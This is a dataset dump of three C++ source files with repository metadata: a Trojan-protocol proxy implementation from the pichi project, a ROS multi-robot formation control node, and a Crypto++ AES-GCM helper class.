"2021-04-26T07:57:56.000Z", "max_issues_repo_path": "contrib/MassSpectra/flexiblesusy/models/MSSMNoFVatMGUT/MSSMNoFVatMGUT_physical.hpp", "max_issues_repo_name": "sebhoof/gambit_1.5", "max_issues_repo_head_hexsha": "f9a3f788e3331067c555ae1a030420e903c6fdcd", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": 9.0, "max_issues_repo_issues_event_min_datetime": "2020-10-19T09:56:17.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-28T06:12:03.000Z", "max_forks_repo_path": "contrib/MassSpectra/flexiblesusy/models/MSSMNoFVatMGUT/MSSMNoFVatMGUT_physical.hpp", "max_forks_repo_name": "patscott/gambit_1.4", "max_forks_repo_head_hexsha": "a50537419918089effc207e8b206489a5cfd2258", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": 5.0, "max_forks_repo_forks_event_min_datetime": "2020-09-08T02:23:34.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-23T08:48:04.000Z", "avg_line_length": 41.5757575758, "max_line_length": 95, "alphanum_fraction": 0.6486880466, "num_tokens": 1229, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5621765008857981, "lm_q2_score": 0.25091278688527247, "lm_q1q2_score": 0.14105727255866643}}
{"text": "#include <pichi/common/config.hpp>\n// Include config.hpp first\n#include <array>\n#include <boost/asio/ip/tcp.hpp>\n#include <boost/asio/ssl/stream.hpp>\n#include <iostream>\n#include <pichi/common/asserts.hpp>\n#include <pichi/common/enumerations.hpp>\n#include <pichi/common/literals.hpp>\n#include <pichi/crypto/hash.hpp>\n#include <pichi/net/helper.hpp>\n#include <pichi/net/trojan.hpp>\n#include <pichi/stream/test.hpp>\n#include <pichi/stream/tls.hpp>\n#include <pichi/stream/websocket.hpp>\n#include <utility>\n\nusing namespace std;\nnamespace asio = boost::asio;\nnamespace ssl = asio::ssl;\nnamespace sys = boost::system;\nusing tcp = asio::ip::tcp;\n\nnamespace pichi::net {\n\nstatic constexpr size_t PWD_LEN = crypto::HashTraits<HashAlgorithm::SHA224>::length * 2;\n\nstatic size_t copyToBuffer(ConstBuffer<uint8_t> src, MutableBuffer<uint8_t> dst)\n{\n  if (src.size() == 0 || dst.size() == 0) return 0;\n  auto copied = min(src.size(), dst.size());\n  copy_n(cbegin(src), copied, begin(dst));\n  return copied;\n}\n\nstring sha224(string_view pwd)\n{\n  auto bin = vector(PWD_LEN / 2, 0_u8);\n  auto sha224 = crypto::Hash<HashAlgorithm::SHA224>{};\n  sha224.hash(ConstBuffer<uint8_t>{pwd}, bin);\n  return crypto::bin2hex(bin);\n}\n\ntemplate <typename Stream>\nsize_t TrojanIngress<Stream>::recv(MutableBuffer<uint8_t> buf, Yield yield)\n{\n  if (received_.empty()) return readSome(stream_, buf, yield);\n  auto copied = copyToBuffer(received_, buf);\n  received_.erase(cbegin(received_), cbegin(received_) + copied);\n  return copied;\n}\n\ntemplate <typename Stream> void TrojanIngress<Stream>::send(ConstBuffer<uint8_t> buf, Yield yield)\n{\n  write(stream_, buf, yield);\n}\n\ntemplate <typename Stream> void TrojanIngress<Stream>::close(Yield yield)\n{\n  pichi::net::close(stream_, yield);\n}\n\ntemplate <typename Stream> bool TrojanIngress<Stream>::readable() const\n{\n  return !received_.empty() || stream_.is_open();\n}\n\ntemplate <typename Stream> bool TrojanIngress<Stream>::writable() const\n{\n  return stream_.is_open();\n}\n\ntemplate <typename Stream> void TrojanIngress<Stream>::confirm(Yield) {}\n\ntemplate <typename Stream> Endpoint TrojanIngress<Stream>::readRemote(Yield yield)\n{\n  try {\n    accept(stream_, yield);\n\n    /*\n     * To act as a real HTTPS server, like Nginx, the trojan ingress has to read the hashed\n     *   password in one time, which is as same as the official trojan.\n     *\n     * Consuming the password section described in trojan protocol specification:\n     *   +-----------------------+---------+-----+\n     *   | hex(SHA224(password)) |  CRLF   | CMD |\n     *   +-----------------------+---------+-----+\n     *   |          56           | X'0D0A' |  1  |\n     *   +-----------------------+---------+-----+\n     */\n    received_.resize(readSome(stream_, received_, yield));\n    assertTrue(received_.size() > PWD_LEN + 2, PichiError::BAD_PROTO);\n\n    auto pwd = string{cbegin(received_), cbegin(received_) + PWD_LEN};\n    assertTrue(passwords_.find(pwd) != cend(passwords_), PichiError::UNAUTHENTICATED);\n\n    auto first = received_.data() + PWD_LEN;\n    assertTrue(*first++ == '\\r', PichiError::BAD_PROTO);\n    assertTrue(*first++ == '\\n', PichiError::BAD_PROTO);\n    assertTrue(*first++ == 1_u8, PichiError::BAD_PROTO);\n\n    /*\n     * Parsing the trojan request section:\n     *   +------+----------+----------+---------+\n     *   | ATYP | DST.ADDR | DST.PORT |  CRLF   |\n     *   +------+----------+----------+---------+\n     *   |  1   | Variable |    2     | X'0D0A' |\n     *   +------+----------+----------+---------+\n     * Only CONNECT X'01' CMD is supported, and UDP ASSOCIATE X'03' is unimplemented.\n     */\n    auto left = received_.size() - distance(received_.data(), first);\n    auto ret = parseEndpoint([this, yield, &first, &left](auto dst) {\n      if (left > 0) {\n        auto copied = copyToBuffer({first, left}, dst);\n        first += copied;\n        dst += copied;\n        left -= copied;\n      }\n      if (dst.size() > 0) {\n        read(stream_, dst, yield);\n        received_.insert(end(received_), cbegin(dst), cend(dst));\n        first = received_.data() + received_.size();\n      }\n    });\n\n    if (left < 2) {\n      received_.resize(received_.size() + 2 - left);\n      first = received_.data() + received_.size() - 2;\n      read(stream_, {first + left, 2 - left}, yield);\n      left = 0;\n    }\n    else\n      left -= 2;\n    assertTrue(*first++ == '\\r', PichiError::BAD_PROTO);\n    assertTrue(*first++ == '\\n', PichiError::BAD_PROTO);\n\n    received_.erase(cbegin(received_), cend(received_) - left);\n    return ret;\n  }\n  catch (Exception const& e) {\n    cout << \"Trojan Error: \" << e.what() << endl;\n    return remote_;\n  }\n}\n\ntemplate <typename Stream>\nsize_t TrojanEgress<Stream>::recv(MutableBuffer<uint8_t> buf, Yield yield)\n{\n  return readSome(stream_, buf, yield);\n}\n\ntemplate <typename Stream> void TrojanEgress<Stream>::send(ConstBuffer<uint8_t> buf, Yield yield)\n{\n  write(stream_, buf, yield);\n}\n\ntemplate <typename Stream> void TrojanEgress<Stream>::close(Yield yield)\n{\n  pichi::net::close(stream_, yield);\n}\n\ntemplate <typename Stream> bool TrojanEgress<Stream>::readable() const { return stream_.is_open(); }\n\ntemplate <typename Stream> bool TrojanEgress<Stream>::writable() const { return stream_.is_open(); }\n\ntemplate <typename Stream>\nvoid TrojanEgress<Stream>::connect(Endpoint const& remote, ResolveResults next, Yield yield)\n{\n  pichi::net::connect(next, stream_, yield);\n\n  auto buf = array<uint8_t, 512>{};\n  auto written = [&](auto p) -> size_t { return distance(buf.data(), p); };\n\n  /*\n   * Here's the trojan protocol specification(https://trojan-gfw.github.io/trojan/protocol):\n   *   +-----------------------+---------+-----+------+----------+----------+---------+\n   *   | hex(SHA224(password)) |  CRLF   | CMD | ATYP | DST.ADDR | DST.PORT |  CRLF   |\n   *   +-----------------------+---------+-----+------+----------+----------+---------+\n   *   |          56           | X'0D0A' |  1  |  1   | Variable |    2     | X'0D0A' |\n   *   +-----------------------+---------+-----+------+----------+----------+---------+\n   */\n\n  copy(cbegin(password_), cend(password_), begin(buf));\n  auto p = buf.data() + password_.size();\n  *p++ = '\\r';\n  *p++ = '\\n';\n  *p++ = 1_u8;\n  p += serializeEndpoint(remote, {p, 512 - written(p)});\n  *p++ = '\\r';\n  *p++ = '\\n';\n  write(stream_, {buf.data(), written(p)}, yield);\n}\n\nusing TlsStream = stream::TlsStream<tcp::socket>;\nusing WssStream = stream::WsStream<TlsStream>;\ntemplate class TrojanIngress<TlsStream>;\ntemplate class TrojanEgress<TlsStream>;\ntemplate class TrojanIngress<WssStream>;\ntemplate class TrojanEgress<WssStream>;\n\n#ifdef BUILD_TEST\ntemplate class TrojanIngress<stream::TestStream>;\ntemplate class TrojanEgress<stream::TestStream>;\n#endif  // BUILD_TEST\n\n}  // namespace pichi::net\n", "meta": {"hexsha": "10384f01d93394f9e15c9aa7986d1e46d0332e67", "size": 6779, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/net/trojan.cpp", "max_stars_repo_name": "imuzi/pichi", "max_stars_repo_head_hexsha": "5ad1372bff4c3bffd201ccfb41df6c839c83c506", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 164.0, "max_stars_repo_stars_event_min_datetime": "2018-09-28T09:41:05.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-13T09:17:07.000Z", "max_issues_repo_path": "src/net/trojan.cpp", "max_issues_repo_name": "imuzi/pichi", "max_issues_repo_head_hexsha": "5ad1372bff4c3bffd201ccfb41df6c839c83c506", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 5.0, "max_issues_repo_issues_event_min_datetime": "2018-12-21T13:40:02.000Z", "max_issues_repo_issues_event_max_datetime": "2021-07-24T04:23:44.000Z", "max_forks_repo_path": "src/net/trojan.cpp", "max_forks_repo_name": "imuzi/pichi", "max_forks_repo_head_hexsha": "5ad1372bff4c3bffd201ccfb41df6c839c83c506", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 14.0, "max_forks_repo_forks_event_min_datetime": "2018-12-18T09:35:42.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-06T12:16:34.000Z", "avg_line_length": 32.7487922705, "max_line_length": 100, "alphanum_fraction": 0.6086443428, "num_tokens": 1835, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.27512971193602087, "lm_q1q2_score": 0.1407884420451357}}
{"text": "// ROS includes\n#include \"ros/ros.h\"\n#include \"ros/assert.h\"\n#include \"dynamic_reconfigure/server.h\"\n#include \"create_driver/vicon_driver.h\"\n#include \"geometry_msgs/Twist.h\"\n#include <sensor_msgs/Joy.h>\n#include <geometry_msgs/Vector3.h>\n\n// Library includes\n#include <string>\n#include <vector>\n#include <map>\n#include <Eigen/Core>\n#include <Eigen/LU>\n#include <algorithm> \n\n#include <stdio.h>\n#include <iostream>\n#include <fstream>\n#include <iomanip>\n#include <cmath>\n\n// I need for the socket programming\n#include <sys/socket.h>\n#include <sys/time.h>\n#include <sys/types.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n#include <unistd.h>  \n\n#include \"jingfu/control_formation.h\"\n#include <Eigen/Core>\n#include <Eigen/Dense>\nusing Eigen::MatrixXd;\nusing namespace Eigen;\n\nusing namespace std;\nusing std::setw;\nusing std::setprecision;\n\n/*\n# define port 6001 // define port number\n# define size 1024 // define data size\n*/\n\n// Constants\n//const double PI = 3.1415926535;\n\n/*\ndouble x = 0; \ndouble y = 0;\ndouble theta = 0;\ndouble ox = 0;\ndouble oy = 0;\n*/\n\ndouble joy_x,joy_y,joy_z;\nint new_msg=0;\nsensor_msgs::Joy joy_msg_in;\ngeometry_msgs::Vector3 v3_msg; \n\n/*server\n\ndouble mode = 1;\nint Modeserver = 0;\nint sockfd, bindit, listento, new_fd, sin_size; \n//int count = 0;\nstruct sockaddr_in my_addr; // my address information \nstruct sockaddr_in client_addr; // address information of connected machine \n\n*/\n\nvoid joy_callback(const sensor_msgs::Joy joy_msg_in)\n{\n\t//Take in joystick\n\tjoy_x=joy_msg_in.axes[3];\n\tjoy_y=joy_msg_in.axes[2];\n\t//joy_z=joy_msg_in.axes[2];\n\tprintf(\"hello joy\\n\");\n\tprintf(\"hello joy\\n\");\n\t//Take in time\n\t//msg_time=(double)ros::Time::now().toNSec();\n    new_msg=1;\n}\n\n/*\nvoid server() \n{ \t \n\tprintf(\"i am inside of server\\n\"); \n\t\n\tsockfd = socket(AF_INET, SOCK_STREAM, 0); \n\tif(sockfd<0) { \n\t\tprintf(\"Error socket\\n\"); \n\t\texit(1); \n\t} \n\t\n\tmy_addr.sin_family = AF_INET; // host byte order, AF_INET = IPv4 internet protocols for Linux \n\tmy_addr.sin_addr.s_addr = INADDR_ANY; // use my address automatically \n\tmy_addr.sin_port = htons(port); \n\tmemset(&(my_addr.sin_zero),'\\0',8); \n\t// assign the address specified to the socket. \n\tbindit = bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)); \n\tif (bindit<0) { \n\t\tprintf(\"error bindit\\n\"); \n\t\texit(1); \n\t} \n\tprintf(\"bind success\\n\"); \n\t//listen the connection on created socket \n  \tlistento = listen(sockfd, 5); \n  \t//error check for listen() \n  \tif (listento<0) { \n       \t\tprintf (\"error listento\\n\"); \n            \texit(1); \n  \t} \n\tprintf(\"linsten success\\n\"); \n\tsin_size = sizeof(struct sockaddr_in); \n\t// accept a connection on listened socket \n\tnew_fd = accept(sockfd, (struct sockaddr *)&client_addr, (socklen_t*)&sin_size); \n\t  //error check for accept() \n\tif (new_fd < 0) {           \n\t\t printf(\"accept() has failed!\\n\"); \n\t  } \n\tprintf(\"accept success\\n\"); \n\tcout << \"server: got connection from \" << inet_ntoa(client_addr.sin_addr) << endl; \n\tModeserver = 1;\n\t\n} \n*/\n\n\nint main(int argc, char **argv)\n{\n\t// ROS Initalization\n\tros::init(argc, argv, \"control\");\n\t\n\tros::NodeHandle node;\n\tros::NodeHandle private_node(\"~\");\n\n\tros::Publisher pub_v3;\n\tros::Subscriber joy_sub;\n\tpub_v3 = node.advertise<geometry_msgs::Vector3>(\"joy_vel\", 1); //send velocity for graphing on /joy_vel topic\n\tjoy_sub = node.subscribe(\"/joy\", 1, joy_callback); //suscribe to the joystick message\n\t\n\tROS_INFO(\"Waiting for joystick message\");\n\tros::Rate rate(100.0);\n\tROS_INFO(\"Starting Joy --> cmd_vel Node\");\n\n\t// ROS Parameters\n\n\t// List of robot names\n\tvector<string> robot_names;\n\tXmlRpc::XmlRpcValue robot_list;\n\tprivate_node.getParam(\"robot_list\", robot_list);\n\tROS_ASSERT(robot_list.getType() == XmlRpc::XmlRpcValue::TypeArray);\n\n\tfor (int i = 0; i < robot_list.size(); i++) \n\t{\n\t\tROS_ASSERT(robot_list[i].getType() == XmlRpc::XmlRpcValue::TypeString);\n\t\trobot_names.push_back(static_cast<string>(robot_list[i]));\n\t}\n\n\t// Number of robots\n\tconst int num_robots = robot_names.size();\n\n\t// Robot name\n\tstring robot_name;\n\tprivate_node.param<std::string>(\"robotname\", robot_name, \"defaultname\");\n\n\tint index = find(robot_names.begin(), robot_names.end(), robot_name) - robot_names.begin();\n\n\t// ROS Subscribers\n\tmap<string, create_driver::ViconStream> vicon;\n\tvector<string>::iterator name_it;\n\tvector<ros::Subscriber> sub;\n\tfor (name_it = robot_names.begin(); name_it != robot_names.end(); name_it++)\n\t{\n\t\tvicon.insert(pair<string, create_driver::ViconStream>(*name_it, create_driver::ViconStream()));\n\t\tsub.push_back(node.subscribe(\"/\" + *name_it + \"/tf\", 10, &create_driver::ViconStream::callback, &vicon[*name_it]));\n\t}\n\n\t// ROS Publishers\n\tros::Publisher vel = node.advertise<geometry_msgs::Twist>(\"cmd_vel\", 10);\n\n\t// ROS loop\n\tros::Rate loop_rate(250); // 250 Hz\n\n\tros::spinOnce();\n\t/// initial poses from Vicon///\n\tpose2D q10; q10.x = vicon[robot_names[0]].x();q10.y = vicon[robot_names[0]].y();q10.h = vicon[robot_names[0]].theta();\n\tpose2D q20; q20.x = vicon[robot_names[1]].x();q20.y = vicon[robot_names[1]].y();q20.h = vicon[robot_names[1]].theta();\n\tpose2D q30; q30.x = vicon[robot_names[2]].x();q30.y = vicon[robot_names[2]].y();q30.h = vicon[robot_names[2]].theta();\n\t\t\n\t/// initlal offests /// \n\tdouble k = 0.8; // radius\n\tint mm = 3; \n\tpose2D q1off; q1off.x = k*cos(1*PI/mm); q1off.y = k*sin(1*PI/mm); q1off.h = 0; \n\tpose2D q2off; q2off.x = k*cos(3*PI/mm); q2off.y = k*sin(3*PI/mm); q2off.h = 0; \n\tpose2D q3off; q3off.x = k*cos(5*PI/mm); q3off.y = k*sin(5*PI/mm); q3off.h = 0; \n        /// end of initial offsets ///\n\n\tdouble df12 = sqrt((q1off.x - q2off.x)*(q1off.x - q2off.x) + (q1off.y - q2off.y)*(q1off.y - q2off.y));\n\tdouble df13 = sqrt((q1off.x - q3off.x)*(q1off.x - q3off.x) + (q1off.y - q3off.y)*(q1off.y - q3off.y));\n\tdouble df23 = sqrt((q2off.x - q3off.x)*(q2off.x - q3off.x) + (q2off.y - q3off.y)*(q2off.y - q3off.y));\n\t\n\tpose2D q10_v; pose2D q20_v; pose2D q30_v; \n\tVector2d p12; Vector2d p13; Vector2d p23; \n\tdouble d12=0; double d13=0; double d23=0; \n\t\n\n\tWheel vd;\n\tvd.l_v = 0.8;\n\tvd.a_v = 0;\n\n\t/// initial control inputs ///\n\tWheel MyVel[3];\n\tMyVel[0].l_v = 0;\n\tMyVel[0].a_v = 0;\n\n\tMyVel[1].l_v = 0;\n\tMyVel[1].a_v = 0;\n\n\n\tMyVel[2].l_v = 0;\n\tMyVel[2].a_v = 0;\n\n\t/////////////////////////////\n\n\tcontrol_formation r1;\n\tcontrol_formation r2;\n\tcontrol_formation r3;\n\n\tMatrixXd A(3,3); // adjacency matrix\n\tA <<0,1,1,\n\t\t1,0,1,\n\t\t1,1,0;\n\n\tpose2D virtualGoal_1; pose2D virtualGoal_2; pose2D virtualGoal_3; // virtual goal\n\tpoint2D po1; point2D po2; point2D po3; // position of obstacle\n\t\n\t\n\twhile (ros::ok())\n\t{\n\t\t// Retrieve Vicon Data\n\t\tros::spinOnce();\n\n\t\t/* An instance of this code is run on each robot in the formation.\n\t\t *\n\t\t * You can access each robot's position and oreintation through the following statements:\n\t\t * vicon[robot_names[i]].x()\n\t\t * vicon[robot_names[i]].y()\n\t\t * vicon[robot_names[i]].theta()\n\t\t * \n\t\t * The index of the robot running the instance of the code is contain in the \"index\" \n\t\t * variable. For example, if you wanted to get the distance of this robot from all of its\n\t\t * neighbors you could run the following:\n\t\t * double dist[num_robots];\n\t\t * for (int i = 0; i < num_robots; i++) {\n\t\t * \t\tdist[i] = sqrt(pow(vicon[robot_names[i]].x() - vicon[robot_names[index]].x(),2) \n\t\t * \t\t\t\t     + pow(vicon[robot_names[i]].y() - vicon[robot_names[index]].y(),2));\n\t\t * }\n\t\t */\n\n\t\t /// virtual poses    \n\t\tq10_v.x = q10.x + q1off.x; q10_v.y = q10.y + q1off.y; q10_v.h = q10.h + q1off.h;\n\t\tq20_v.x = q20.x + q2off.x; q20_v.y = q20.y + q2off.y; q20_v.h = q20.h + q2off.h;\n\t\tq30_v.x = q30.x + q3off.x; q30_v.y = q30.y + q3off.y; q30_v.h = q30.h + q3off.h;\n\t\t\n\t\tint kk = 2;\n\t\t///\n\t\t/// virtual goals ///\n\t\tvirtualGoal_1.x = (q20_v.x + q30_v.x)/kk;\n\t\tvirtualGoal_1.y = (q20_v.y + q30_v.y)/kk;\n\t\tvirtualGoal_1.h = (q20_v.h + q30_v.h)/kk;\n\n\t\tvirtualGoal_2.x = (q10_v.x + q30_v.x)/kk;\n\t\tvirtualGoal_2.y = (q10_v.y + q30_v.y)/kk;\n\t\tvirtualGoal_2.h = (q10_v.h + q30_v.h)/kk;\n\n\t\tvirtualGoal_3.x = (q20_v.x + q10_v.x)/kk;\n\t\tvirtualGoal_3.y = (q20_v.y + q10_v.y)/kk;\n\t\tvirtualGoal_3.h = (q20_v.h + q10_v.h)/kk;\n\n\t\t//////////////////////////////////\n\t\n\t\tp12(0) = q10.x - q20.x; p12(1) = q10.y - q20.y;\n\t\tp13(0) = q10.x - q30.x; p13(1) = q10.y - q30.y;\n\t\t\n\t\t\n\t\tp23(0) = q20.x - q30.x; p23(1) = q20.y - q30.y;\n\t\t\n\t\t/// Distance between robots ///\n\t\td12 = p12.norm();\n\t\td13 = p13.norm();\n\t\t\n\n\t\td23 = p23.norm();\n\t\t\n\n\t\t//cout << \"e12 = \" << d12 - df12 << endl;\n\t\t//cout << \"e13 = \" << d13 - df13 << endl;\n\t\t//cout << \"e23 = \" << d23 - df23 << endl;\n \n \t\tdouble d1[2] = {d12,d13};\n \t\tint nneighbor = std::min_element(d1,d1+2) - d1;\n\n \t\tswitch (nneighbor) {\n \t\t\tcase 0:\n \t\t\t\tpo1.x = q20.x;\n\t\t\t\tpo1.y = q20.y;\n \t\t\t\tbreak;\n \t\t\tcase 1:\n \t\t\t\tpo1.x = q30.x;\n\t\t\t\tpo1.y = q30.y;\n \t\t\t\tbreak;\n \t\t}\n\n \t\tdouble d2[2] = {d12,d23};\n \t\tnneighbor = std::min_element(d2,d2+2) - d2;\n\n \t\tswitch (nneighbor) {\n \t\t\tcase 0:\n \t\t\t\tpo2.x = q10.x;\n\t\t\t\tpo2.y = q10.y;\n \t\t\t\tbreak;\n \t\t\tcase 1:\n \t\t\t\tpo2.x = q30.x;\n\t\t\t\tpo2.y = q30.y;\n \t\t\t\tbreak;\n \t\t}\n\n \t\tdouble d3[2] = {d13,d23};\n \t\tnneighbor = std::min_element(d3,d3+2) - d3;\n\n \t\tswitch (nneighbor) {\n \t\t\tcase 0:\n \t\t\t\tpo3.x = q10.x;\n\t\t\t\tpo3.y = q10.y;\n \t\t\t\tbreak;\n \t\t\tcase 1:\n \t\t\t\tpo3.x = q20.x;\n\t\t\t\tpo3.y = q20.y;\n \t\t\t\tbreak;\n \t\t}\n\n\n\t\tMyVel[0] = r1.switching_w_obstacle(q10_v, virtualGoal_1, q10, po1, vd);\n\t\tq10.x = vicon[robot_names[0]].x();\n\t\tq10.y = vicon[robot_names[0]].y();\n\t\tq10.h = vicon[robot_names[0]].theta();\n\t\tq10.h = r1.between2PI(q10.h);\n\n\t\tMyVel[1] = r2.switching_w_obstacle(q20_v, virtualGoal_2, q20, po2, vd);\n\t\tq20.x = vicon[robot_names[1]].x();\n\t\tq20.y = vicon[robot_names[1]].y();\n\t\tq20.h = vicon[robot_names[1]].theta();\n\t\tq20.h = r2.between2PI(q20.h);\n\n\t\tMyVel[2] = r3.switching_w_obstacle(q30_v, virtualGoal_3, q30, po3, vd);\n\t\tq30.x = vicon[robot_names[2]].x();\n\t\tq30.y = vicon[robot_names[2]].y();\n\t\tq30.h = vicon[robot_names[2]].theta();\n\t\tq30.h = r3.between2PI(q30.h);\n\n\t\t\n\t\tif ((MyVel[0].l_v-MyVel[1].l_v)<=0.008 && (MyVel[0].l_v-MyVel[2].l_v)<=0.008)\n\t\t{\n\t\t\tvd.l_v = vd.l_v - 0.01;\n\t\t}\n\t\t/*\n\t\tif (vd.l_v<=0)\n\t\t{\n\t\t\tvd.l_v = 0;\n\t\t}\n\t\t*/\n\n\t\tdouble v = MyVel[index].l_v*300; // linear velocity output\n\t\tdouble w = MyVel[index].a_v; // angular velocity output\n\n\t\t\n\t\t// Send wheel velocities to driver\n\t\tgeometry_msgs::Twist msg;\n\t\tmsg.linear.x = v;\n\t\tmsg.linear.y = 0;\n\t\tmsg.linear.z = 0;\n\t\tmsg.angular.x = 0;\n\t\tmsg.angular.y = 0;\n\t\tmsg.angular.z = w;\n\t\tvel.publish(msg);\t\t\n\t\t\n\t\tloop_rate.sleep();\n\t\tnew_msg = 0;\n\t}\n\t\n\treturn 0;\n}\n", "meta": {"hexsha": "a2dd6f0d81a06bd5efdab63ab63c80363fe6bda4", "size": 10396, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/jingfu/src/control_node_3_tracking.cpp", "max_stars_repo_name": "rsthomp/UTDchess-RospyXbee", "max_stars_repo_head_hexsha": "f77ef98afadbb082cde7040b2e770be34fbd2999", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2015-09-03T01:52:06.000Z", "max_stars_repo_stars_event_max_datetime": "2015-09-03T01:52:06.000Z", "max_issues_repo_path": "src/jingfu/src/control_node_3_tracking.cpp", "max_issues_repo_name": "RachaelT/UTDchess-RospyXbee", "max_issues_repo_head_hexsha": "f77ef98afadbb082cde7040b2e770be34fbd2999", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/jingfu/src/control_node_3_tracking.cpp", "max_forks_repo_name": "RachaelT/UTDchess-RospyXbee", "max_forks_repo_head_hexsha": "f77ef98afadbb082cde7040b2e770be34fbd2999", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.1863979849, "max_line_length": 119, "alphanum_fraction": 0.6333205079, "num_tokens": 3598, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199306096344, "lm_q2_score": 0.2720245569956929, "lm_q1q2_score": 0.14026128320223571}}
{"text": "#include <string>\n#include <string.h>\n#include <boost/random/random_device.hpp>\n#include <boost/random/uniform_int_distribution.hpp>\n#include <crypto++/gcm.h>\n#include <crypto++/aes.h>\n#include <crypto++/filters.h>\n#include <crypto++/osrng.h>\n\n#include <nar/lib/Exception/Exception.h>\n\n#include \"aes.h\"\n\nvoid byte_to_string( byte* data, std::string& str, int len) {\n    for(int i=0; i<len; i++) {\n        str.push_back(data[i]);\n    }\n    return;\n}\n\nbyte* string_to_byte(std::string& key) {\n    int len = key.length();\n    byte *aes = new byte[len];\n    for(int i=0; i<len; i++) {\n        aes[i] = key[i];\n    }\n    return aes;\n}\n\nAesCryptor::AesCryptor(std::string key): _keyString(key) {\n    int keyLen = _keyString.length();\n    const char *str = _keyString.c_str();\n    _aes = string_to_byte(_keyString);\n}\n\n\nAesCryptor::~AesCryptor() {\n    free(_aes);\n}\n\n\nvoid AesCryptor::encrypt(std::string &text, std::string &crypted) {\n    try {\n        byte iv[256];\n        const int TAG_SIZE = 12;\n\n        CryptoPP::AutoSeededRandomPool pool;\n        pool.GenerateBlock(iv, 256);\n\n        CryptoPP::GCM<CryptoPP::AES>::Encryption enc;\n        enc.SetKeyWithIV(_aes, 16, iv, 256);\n\n        CryptoPP::StringSource ss1(text, true, new CryptoPP::AuthenticatedEncryptionFilter(enc, new CryptoPP::StringSink(crypted), false, TAG_SIZE));\n\n        std::string bla;\n        byte_to_string(iv,bla,256);\n\n\n        std::string test = crypted;\n        crypted = bla + crypted;\n    }\n    catch (CryptoPP::Exception& e){\n        throw nar::Exception::Cryption::AesError(std::string(\"Error in Aes encryption\").append(e.what()));\n    }\n    return;\n}\n\nvoid AesCryptor::decrypt(std::string& data, std::string& result) {\n    try {\n        std::string ivStr = data.substr(0,256);\n        byte* iv = string_to_byte(ivStr);\n        CryptoPP::GCM<CryptoPP::AES>::Decryption dec;\n        dec.SetKeyWithIV(_aes, 16, iv, 256);\n\n        const int TAG_SIZE = 12;\n\n        CryptoPP::AuthenticatedDecryptionFilter df(dec, new CryptoPP::StringSink(result), CryptoPP::AuthenticatedDecryptionFilter::DEFAULT_FLAGS, TAG_SIZE);\n\n        CryptoPP::StringSource ss(data.substr(256), true, new CryptoPP::Redirector(df));\n        free(iv);\n    }\n    catch (CryptoPP::Exception& e){\n        throw nar::Exception::Cryption::AesError(std::string(\"Error in Aes decryption\").append(e.what()));\n    }\n    return;\n}\n\nvoid AesCryptor::generate_key(std::string &key, int length) {\n    try {\n        std::string chars(\n            \"abcdefghijklmnopqrstuvwxyz\"\n            \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n            \"1234567890\"\n            \"!@#$%^&*()\"\n            \"`~-_=+[{]}\\\\|;:'\\\",<.>/? \");\n        boost::random::random_device rng;\n        boost::random::uniform_int_distribution<> index_dist(0, chars.size() - 1);\n        for(int i = 0; i < length; ++i) {\n            key.push_back(chars[index_dist(rng)]);\n        }\n    }\n    catch (CryptoPP::Exception& e){\n        throw nar::Exception::Cryption::AesError(std::string(\"Error in Aes key-generation\").append(e.what()));\n    }\n    return;\n}\n", "meta": {"hexsha": "65b5c2f40029322bb35b079b1eb55a37b8b61999", "size": 3041, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "nar/lib/Cryption/aes.cpp", "max_stars_repo_name": "webcok/nar", "max_stars_repo_head_hexsha": "fda146f62f43c0d48612716299b132483700abad", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "nar/lib/Cryption/aes.cpp", "max_issues_repo_name": "webcok/nar", "max_issues_repo_head_hexsha": "fda146f62f43c0d48612716299b132483700abad", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "nar/lib/Cryption/aes.cpp", "max_forks_repo_name": "webcok/nar", "max_forks_repo_head_hexsha": "fda146f62f43c0d48612716299b132483700abad", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2.0, "max_forks_repo_forks_event_min_datetime": "2019-01-11T20:14:39.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-29T10:23:31.000Z", "avg_line_length": 28.4205607477, "max_line_length": 156, "alphanum_fraction": 0.6159158172, "num_tokens": 814, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290806, "lm_q2_score": 0.27825679968760103, "lm_q1q2_score": 0.14021531835425652}}
